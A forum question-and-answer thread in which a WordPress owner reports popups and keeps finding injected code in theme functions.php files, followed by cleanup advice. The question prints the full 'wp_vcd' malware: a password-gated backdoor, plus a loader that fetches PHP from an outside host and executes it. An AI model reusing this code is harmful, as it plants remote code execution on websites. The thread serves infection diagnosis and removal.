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I have a shared hosting and some wordpress websites on that. Recently sometimes when I visit my websites, popup opens. So I opened template directory of one wordpress website in Cpanel. this code was added on top of functions.php file:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
    {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action'])
        {
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
        {
        if (!empty($_REQUEST['newdomain']))
            {
            if ($file = @file_get_contents(__FILE__))
                {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                    {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                    }
                }
            }
        }

    break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

die("");
}

if (!function_exists('theme_temp_setup'))
    {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
        {
        if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
            {
            function theme_temp_setup($phpCode)
                {
                $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;

                unlink($tmpfname);
                return get_defined_vars();
                }

            extract(theme_temp_setup($tmpcontent));
            }
        }
    }

?>

So I deteled that and popup problem solved. I deleted that from functions.php files of all websites But Now problem is that when I visit functions.php of any websites, the code is there again and its in all themes even unused themes. What can I do?

What I did to slove problem

1. In wp-include directory, delete wp-vcd.php and class.wp.php files
2. In wp-include directory, open post.php and detele first php tag added by Malware.
3. Open to theme's functions.php file, and delete the above codes.

This should stop popups. But I don't now how long it works.

I still didn't find the main file that infect all websites, but tying to find out.

Answers

I know this answer is very late but I'll share my experience to help any one who has this problem. cause of this issue can be a plugin that you downloaded from outside of wordpress.org or some body has access to your wordpress admin account and you doesn't already close editor.php in appearance tab or hacker has your ftp user and password or ... to solve this create a full backup first and save it in your computer in case of doing any mistake and then:

1. go to theme directory of your wordpress site and delete all of the unused theme because they are infected already.
2. in active theme edit your functions.php file and delete all extra code inserted by malware. you can search for wp_vcd or wp-tmp words to find the code.
3. download latest wordpress installation. then delete wp-include and wp-admin folder and all files in public_html except wp-content folder and .htaccess file and wp-config.php file. after that replace deleted files and folder with downloaded wordpress.
4. remove all plugins that you downloaded from known source.
5. finally change all of your passwords like ftp, admin panel, cpanel or direct admin and ... in case if hacker saved your info somewhere.

hope this little guide can help someone.